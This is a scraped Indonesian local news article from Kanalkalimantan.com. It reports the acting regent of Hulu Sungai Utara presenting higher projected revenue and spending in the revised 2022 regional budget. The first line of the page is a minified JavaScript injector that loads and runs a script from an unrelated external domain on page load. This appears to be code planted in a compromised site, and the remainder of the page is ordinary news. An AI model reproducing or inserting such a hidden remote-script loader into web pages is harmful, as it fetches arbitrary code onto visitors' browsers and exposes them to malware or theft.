(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Plt Bupati HSU: Ada Peningkatan Pendapatan Daerah di APBD Perubahan 2022


KANALKALIMANTAN.COM, AMUNTAI – Pelaksana Tugas (Plt) Bupati Hulu Sungai Utara (HSU) Husairi Abdi menyebut ada peningkatan pendapatan daerah pada rancangan APBD Perubahan tahun 2022.

Hal tersebut disampaikan Plt Bupati HSU dalam rapat paripurna DPRD HSU dengan agenda penjelasan kepala daerah tentang Anggaran Pendapatan dan Belanja Daerah (APBD) Perubahan tahun anggaran 2022, Senin (29/8/2022).

Plt Bupati HSU menjelaskan, sebagaimana naskah rancangan APBD Perubahan tahun 2022, pendapatan daerah dianggarkan Rp 990,817 miliar, bertambah menjadi Rp 238,459 milliar sehingga berjumlah Rp 1,229 triliun lebih.

Sedangkan belanja daerah yang diproyeksikan mengalami kenaikan, semula Rp 1,301 triliun, bertambah menjadi Rp 149, 367 miliar, sehingga berjumlah Rp 1,450 triliun.

 

Baca juga  : Diduga Korsleting Listrik Kabel di Bawah Kasur, Kontrakan di Zafri Zamzam Terbakar

Sementara itu, pada sisi penerimaan pembiayaan dalam rancangan APBD Perubahan tahun anggaran 2022 diproyeksikan penerima pembiayaan semula dianggarkan Rp 352, 926 miliar, berkurang sebesar Rp 77, 342 miliar, sehingga menjadi Rp 275, 584 miliar.

Lebih lanjut, Plt Bupat HSU Husari Abdi menyampaikan, APBD Perubahan dilakukan untuk menyesuaikan APBD dengan perkembangan atau keadaan, dimana perubahan APBD diartikan sebagai upaya pemerintah daerah untuk menyesuaikan rencana keuangan dengan perkembangan yang terjadi.

“Perkembangan dimaksud bisa diimplikasi pada meningkatnya anggaran penerimaan maupun pengeluaran, ataupun sebaliknya. Namun, bisa juga untuk mengakomodasi pergeseran-pergeseran anggaran dalam satu SKPD atau antar SKPD,” kata Husairi.

“Sedangkan secara normatif APBD Perubahan telah diatur dalam peraturan perundang-undangan, baik dalam Undang-Undang Nomor 23 tahun 2014 tentang pemerintahan daerah, maupun dalam Peraturan Pemerintah Nomor 12 tahun 2019 tentang pengelolaan keuangan daerah,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.